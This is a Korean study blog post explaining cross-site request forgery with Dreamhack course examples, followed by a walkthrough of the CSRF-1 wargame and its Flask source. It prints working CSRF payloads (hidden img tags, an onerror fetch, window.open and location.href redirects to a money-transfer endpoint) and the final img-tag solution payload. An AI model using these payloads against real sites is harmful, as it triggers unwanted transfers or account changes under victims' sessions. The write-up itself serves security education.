ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 웹 해킹(5) - CSRF
    해킹/웹해킹 2023. 3. 31. 21:53

    👩‍💻 CSRF란?

    - 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점

    - 공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취할 수 있다.

    - 웹 페이지를 만들어서 이용자의 입력을 유도하고, 이용자가 값을 입력하면 이를 은행이나 중요 포털 사이트 등으로 전송하여 마치 이용자가 동의한 것 같은 요청을 발생시킴

    - 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성한다. (의도치 않은 요청에 동의를 하게 만듦)

     

    ✍ 이용자가 HTTP 요청을 보내는 코드 

     

    - 서버가 받아들이는 이용자 요청 코드(서버식으로 바꾼 것)

    GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1 //메서드 url?to=송신상대&amount 통신프로토콜
    Host: bank.dreamhack.io //서버 도메인
    Cookie: session=IeheighaiToo4eenahw3 //서버에서 발행해주는 쿠키 위에 세션 올라감ㅁ

     

    - 서버의 요청 코드 처리 코드 

    # 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
    @app.route('/sendmoney')
    def sendmoney(name):
        # 송금을 받는 사람과 금액을 입력받음.
        to_user = request.args.get('to')
    	amount = int(request.args.get('amount'))
    	
    	# 송금 기능 실행 후, 결과 반환	
    	success_status = send_money(to_user, amount)
    	
    	# 송금이 성공했을 때,
    	if success_status:
    	    # 성공 메시지 출력
    		return "Send success."
    	# 송금이 실패했을 때,
    	else:
    	    # 실패 메시지 출력
    		return "Send fail."

     

    CSRF 공격 스크립트

    - 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트(HTTP 요청을 보내는 코드)를 이용자가 실행해야 됨 

    - 공격자가 유저에게 메일을 보거나 게시판에 글을 작성하여 이용자가 조회하도록 유도함 

    - html 또는 자바스크립트를 통해 작성이 가능하다. 

     

    CSRF 태그 종류

    - img : 이미지 불러오기

    - form : 웹페이지에 입력된 양식 전송하기

    HTTP 요청을 이 두 태그를 사용해 보내면 HTTP 헤더인 COOkie에 이용자의 인증 정보가 포함된다. 

    - 자바스크립트 코드(window.open, location.href)

     

     

    img 태그를 사용한 스크립트 

    - 이미지의 크기를 줄일 수 있는 옵션을 주기 때문에 width = 0px height=0px으로 둔다. 

    <img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
    <img src="/sendmoney?to=dreamhack&amount=1337">
    <img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">

     

    <link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">

     

    자바스크립트 

     

    /* 새 창 띄우기 */ : window.open('공격자가 지정한 도메인 주소')
    window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
    /* 현재 창 주소 옮기기 */ location.href = ''; location.replace('');
    location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
    location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');

     

     

     

     

     

     

    XSS와 CSRF의 차이점

    - 두 개의 취약점 모두 클라이언트를 대상으로 하는 공격이고 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야함

    - XSS는 세션과 쿠키 타루치를 목적으로 하는 공격이기 때문에 공격할 사이트의 오리진에서 스크립트를 실행한다.

    - CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하며 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다. 

     

     

    CSRF 익스플로잇

     

    Flask 기본 구조 

     

    /vuln 페이지

    @app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행)
    def vuln():
        param = request.args.get("param", "").lower()   # 이용자가 입력한 param 파라미터를 소문자로 변경:lower()
        xss_filter = ["frame", "script", "on"]  # 세 가지 필터링 키워드를 미리 지정해놓음 : 이공격은 통하지 않을것으로 보인다.
        for _ in xss_filter:
            param = param.replace(_, "*")   # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
        return param    # 이용자의 입력 값을 화면 상에 표시

    -script, frame, on을 필터링한다 -> xss 공격 불가능

    - <>는 필터링을 하지 않기 때문에 CSRF 공격 수행 가능

     

    /memo 페이지

    - 이용자가 전달한 memo 파라미터 값(text에 넣어서, request.arts.get(파라미터, '  '))을 기록한다. 

    - render_template 함수로 화면에 출력함

    @app.route('/memo') # memo 페이지 라우팅
    def memo(): # memo 함수 선언
        global memo_text # 메모를 전역변수로 참조
        text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴
        memo_text += text + '\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록
        return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력

     

    /admin/notice_flag

    - 로컬 호스트인 127.0.0.1에서 접근하고 userid 파라미터 == admin일 때 메모에 Flag를 작성하게 한다.

    - 조건을 만족히자 못하면 접근제한 메세지 걸림 

    - /admin/notice_flag 페이지 자체는 모두가 접근이 가능하며, userid에 admin값 넣는 것으로 문제풀이 방식을 생각할 수 있지만, 일반 유저가 페이지에 접근할 때의 IP 주소는 조작하는 것이 불가능함 = 이 말은 일반 유저의 IP가 로컬 호스트컴퓨터가 되어 권한을 획득하는 것이 불가능하기 때문에 단순히 접근하는 것으로만은 플래그 획득이 안된다. 

    if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우
            return 'Access Denied' # 접근 제한

     

    @app.route('/admin/notice_flag') # notice_flag 페이지 라우팅
    def admin_notice_flag():
        global memo_text # 메모를 전역변수로 참조
        if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우
            return 'Access Denied' # 접근 제한
        if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우
            return 'Access Denied 2' # 접근 제한
        memo_text += f'[Notice] flag is {FLAG}\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록
        return 'Ok' # Ok 반환
     if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우
            return 'Access Denied 2' # 접근 제한

    - userid = admin인지 검사하는 부분임 : admin도 공격 코드 안에 넣어주어야 한다. 

     

     

    로컬 호스트

    - 컴퓨터 네트워크에서 사용하는 호스트명의 일종

    - 자기 자신의 컴퓨터를 의미함

    IPv4 방식 표기

    127.0.0.1

     

    IPv6 방식 표기

    00:00:00:00:00:00:00:01

     

    /flag 

    @app.route("/flag", methods=["GET", "POST"])    # flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
    def flag():
        if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우
            return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력
        elif request.method == "POST":  # 이용자의 요청이 POST 메소드인 경우
            param = request.form.get("param", "")   # param 파라미터를 가져온 후,
            if not check_csrf(param):   # 관리자에게 접속 요청 (check_csrf 함수)
                return '<script>alert("wrong??");history.go(-1);</script>'
            return '<script>alert("good");history.go(-1);</script>'
    def check_csrf(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"  # 로컬 URL 설정
        return read_url(url, cookie)  # URL 방문
    def read_url(url, cookie={"name": "name", "value": "value"}):
        cookie.update({"domain": "127.0.0.1"})  # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정
        try:
            options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정
            for _ in [
                "headless",
                "window-size=1920x1080",
                "disable-gpu",
                "no-sandbox",
                "disable-dev-shm-usage",
            ]:
                options.add_argument(_) # 크롬 브라우저 옵션 설정
            driver = webdriver.Chrome("/chromedriver", options=options) # 셀레늄에서 크롬 브라우저 사용
            driver.implicitly_wait(3)   # 크롬 로딩타임을 위한 타임아웃 3초 설정
            driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정
            driver.get("http://127.0.0.1:8000/")    # 관리자가 CSRF-1 문제 사이트 접속
            driver.add_cookie(cookie)   # 관리자 쿠키 적용
            driver.get(url) # 인자로 전달된 url에 접속
        except Exception as e:
            driver.quit()   # 셀레늄 종료
            print(str(e))
            # return str(e)
            return False    # 접속 중 오류가 발생하면 비정상 종료 처리
        driver.quit()   # 셀레늄 종료
        return True # 정상 종료 처리

     

    check_csrf

    - 위에서 가져온 인자(param)와 쿠키를 호출한 뒤에 이 param을 param={urllib.parse.quote(param)} 안에 넣어 URL의 파라미터로 설정한다.(취약점 발생) 

    - read_url 함수를 넣어 url을 방문하는데 이때 url은 서버가 동장하고 있는 로컬 호스트의 이용자(http://127.0.0.1:8000)가 방문하는 것이기 때문에 자기 자신의 호스트로 접속하게 된다. 

    def check_csrf(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"  # 로컬 URL 설정
        return read_url(url, cookie)  # URL 방문

     

    driver : 관리자 권한 관련 메서드를 넣어 관리자 권한을 조작한다. 

     

    - /vuln 페이지에서 csrf 공격이 가능한데, 공격 코드가 삽입된 /vuln 페이지를 다른 이용자가 방문할 경우, 의도치 않은 페이지로 요청을 전송하는 시나리오 구상 가능

     

    - /admin/notice_flag 페이지를 로컬호스트에서 접근하기 위해서 /admin/notice_flag 페이지로 요청을 전송하도록 해야함

    - 로컬호스트를 허용해주는 페이지가 flag이기 때문에 flag를 통해서 /admin/notice_flag 페이지로 갈수 있도록 한다. 

     

    테스트베드 생성

     

    1. HTTP 응답을 받을 웹서버가 필요함(외부에서 접근 가능한 공격자의 웹서버) : csfr 취약점 발생 여부 확인가능

     

    Request Bin 

    - 랜덤한 URL 제공

    - 제공된 URL에 대한 이용자의 접속 기록 저장 : XSS, CSRF 

    2. URL에 CSRF 공격 코드 삽입 

    <img src="https://jugwwka.request.dreamhack.games">

    URL 삽입 확인 가능

    이렇게만 하면 접속이 안됨(위에서 userid=admin인지 검사하는 기능이 있기 때문! 따라서 더 추가를 해주어야 한다.)

     

     

    http://127.0.0.1:8000/vuln?param=<img src="/admin/notice_flag?userid=admin"/>

     

     

    '해킹 > 웹해킹' 카테고리의 다른 글

    SQL INJECTION(1)  (0) 2023.04.03
    웹 해킹(4) - XSS  (0) 2023.03.31
    드림핵 워게임(1) - cookie  (0) 2023.03.30
    웹해킹 기초(3) - 쿠키&세션  (0) 2023.03.30
    웹 해킹(2) - 개발자 도구 사용하기  (0) 2023.03.29
Designed by Tistory.